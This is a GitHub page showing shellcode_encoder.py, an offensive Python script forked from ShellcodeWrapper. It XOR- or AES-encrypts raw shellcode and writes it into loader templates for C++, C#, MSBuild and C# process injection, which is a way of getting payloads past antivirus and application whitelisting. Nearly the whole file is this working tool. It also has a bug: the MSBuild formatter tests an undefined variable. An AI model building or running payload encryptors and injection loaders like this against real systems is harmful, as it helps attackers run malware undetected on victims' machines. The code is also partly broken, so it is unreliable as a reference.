forked from Arno0x/ShellcodeWrapper
-
Notifications
You must be signed in to change notification settings - Fork 3
/
shellcode_encoder.py
255 lines (219 loc) · 10.5 KB
/
shellcode_encoder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
#!/usr/bin/python
# -*- coding: utf8 -*-
#
# Author: Arno0x0x, Twitter: @Arno0x0x
#
import argparse
from Crypto.Hash import MD5
from Crypto.Cipher import AES
import pyscrypt
from base64 import b64encode
from os import urandom
from string import Template
import os
templates = {
'cpp': './templates/encryptedShellcodeWrapper.cpp',
'csharp': './templates/encryptedShellcodeWrapper.cs',
'csharp_msbuild': './templates/msbuild_template.xml',
'csharp_inject': './templates/encryptedShellcodeWrapper_inject.cs',
'python': './templates/encryptedShellcodeWrapper.py'
}
#======================================================================================================
# CRYPTO FUNCTIONS
#======================================================================================================
#------------------------------------------------------------------------
# data as a bytearray
# key as a string
def xor(data, key):
l = len(key)
keyAsInt = map(ord, key)
return bytes(bytearray((
(data[i] ^ keyAsInt[i % l]) for i in range(0,len(data))
)))
#------------------------------------------------------------------------
def pad(s):
"""PKCS7 padding"""
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
#------------------------------------------------------------------------
def aesEncrypt(clearText, key):
"""Encrypts data with the provided key.
The returned byte array is as follow:
:==============:==================================================:
: IV (16bytes) : Encrypted (data + PKCS7 padding information) :
:==============:==================================================:
"""
# Generate a crypto secure random Initialization Vector
iv = urandom(AES.block_size)
# Perform PKCS7 padding so that clearText is a multiple of the block size
clearText = pad(clearText)
cipher = AES.new(key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(bytes(clearText))
#======================================================================================================
# OUTPUT FORMAT FUNCTIONS
#======================================================================================================
def convertFromTemplate(parameters, templateFile):
try:
with open(templateFile) as f:
src = Template(f.read())
result = src.substitute(parameters)
f.close()
return result
except IOError:
print color("[!] Could not open or read template file [{}]".format(templateFile))
return None
#------------------------------------------------------------------------
# data as a bytearray
def formatCPP(data, key, cipherType):
shellcode = "\\x"
shellcode += "\\x".join(format(ord(b),'02x') for b in data)
result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['cpp'])
if result != None:
print result
#------------------------------------------------------------------------
# data as a bytearray
def formatCSharp(data, key, cipherType):
shellcode = ''
# Ordinal notation takes up less space when encoding this
shellcode += ','.join(format(ord(b)) for b in data)
result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp'])
if result != None:
print result
#------------------------------------------------------------------------
# data as a bytearray
def formatCSharpMSBuild(data, key, cipherType):
shellcode = ''
# Ordinal notation takes up less space when encoding this
shellcode += ','.join(format(ord(b)) for b in data)
code = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp_msbuild'])
if result != None:
print result
#------------------------------------------------------------------------
# data as a bytearray
def formatCSharpInject(data, key, cipherType):
shellcode = ''
# Ordinal notation takes up less space when encoding this
shellcode += ','.join(format(ord(b)) for b in data)
result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['csharp_inject'])
if result != None:
print result
#------------------------------------------------------------------------
# data as a bytearray
def formatPy(data, key, cipherType):
shellcode = '\\x'
shellcode += '\\x'.join(format(ord(b),'02x') for b in data)
result = convertFromTemplate({'shellcode': shellcode, 'key': key, 'cipherType': cipherType}, templates['python'])
if result != None:
print result
#------------------------------------------------------------------------
# data as a bytearray
def formatB64(data):
return b64encode(data)
#======================================================================================================
# HELPERS FUNCTIONS
#======================================================================================================
#------------------------------------------------------------------------
def color(string, color=None):
"""
Author: HarmJ0y, borrowed from Empire
Change text color for the Linux terminal.
"""
attr = []
# bold
attr.append('1')
if color:
if color.lower() == "red":
attr.append('31')
elif color.lower() == "green":
attr.append('32')
elif color.lower() == "blue":
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
else:
if string.strip().startswith("[!]"):
attr.append('31')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[+]"):
attr.append('32')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[?]"):
attr.append('33')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[*]"):
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
else:
return string
#======================================================================================================
# MAIN FUNCTION
#======================================================================================================
if __name__ == '__main__':
#------------------------------------------------------------------------
# Parse arguments
parser = argparse.ArgumentParser()
parser.add_argument("shellcodeFile", help="File name containing the raw shellcode to be encoded/encrypted")
parser.add_argument("key", help="Key used to transform (XOR or AES encryption) the shellcode")
parser.add_argument("encryptionType", help="Encryption algorithm to apply to the shellcode", choices=['xor','aes'])
parser.add_argument("-b64", "--base64", help="Display transformed shellcode as base64 encoded string", action="store_true")
parser.add_argument("-cpp", "--cplusplus", help="Generates C++ file code", action="store_true")
parser.add_argument("-cs", "--csharp", help="Generates C# file code", action="store_true")
parser.add_argument("-csm", "--msbuild", help="Generates C# file code in MsBuild Task XML format", action="store_true")
parser.add_argument("-csi", "--csharpinject", help="Generates C# file code (Process Injection)", action="store_true")
parser.add_argument("-py", "--python", help="Generates Python file code", action="store_true")
args = parser.parse_args()
#------------------------------------------------------------------------
# Open shellcode file and read all bytes from it
try:
with open(args.shellcodeFile) as shellcodeFileHandle:
shellcodeBytes = bytearray(shellcodeFileHandle.read())
shellcodeFileHandle.close()
print color("[*] Shellcode file [{}] successfully loaded".format(args.shellcodeFile))
except IOError:
print color("[!] Could not open or read file [{}]".format(args.shellcodeFile))
quit()
print color("[*] MD5 hash of the initial shellcode: [{}]".format(MD5.new(shellcodeBytes).hexdigest()))
print color("[*] Shellcode size: [{}] bytes".format(len(shellcodeBytes)))
#------------------------------------------------------------------------
# Perform AES128 transformation
if args.encryptionType == 'aes':
# Derive a 16 bytes (128 bits) master key from the provided key
key = pyscrypt.hash(args.key, "saltmegood", 1024, 1, 1, 16)
masterKey = formatB64(key)
print color("[*] AES encrypting the shellcode with 128 bits derived key [{}]".format(masterKey))
transformedShellcode = aesEncrypt(shellcodeBytes, key)
cipherType = 'aes'
#------------------------------------------------------------------------
# Perform XOR transformation
elif args.encryptionType == 'xor':
masterKey = args.key
print color("[*] XOR encoding the shellcode with key [{}]".format(masterKey))
transformedShellcode = xor(shellcodeBytes, masterKey)
cipherType = 'xor'
#------------------------------------------------------------------------
# Display interim results
print color("[*] Encrypted shellcode size: [{}] bytes".format(len(transformedShellcode)))
#------------------------------------------------------------------------
# Display formated output
if args.base64:
print color("[*] Transformed shellcode as a base64 encoded string")
print formatB64(transformedShellcode)
print ""
if args.cplusplus:
print color("[*] Generating C++ code")
formatCPP(transformedShellcode, masterKey, cipherType)
print ""
if args.csharp:
print color("[*] Generating C# code")
formatCSharp(transformedShellcode, masterKey, cipherType)
print ""
if args.msbuild:
print color("[*] Generating MsBuild code")
formatCSharpMSBuild(transformedShellcode, masterKey, cipherType)
print ""
if args.csharpinject:
print color("[*] Generating C# code (process injection)")
formatCSharpInject(transformedShellcode, masterKey, cipherType)
print ""
if args.python:
print color("[*] Generating Python code")
formatPy(transformedShellcode, masterKey, cipherType)
print ""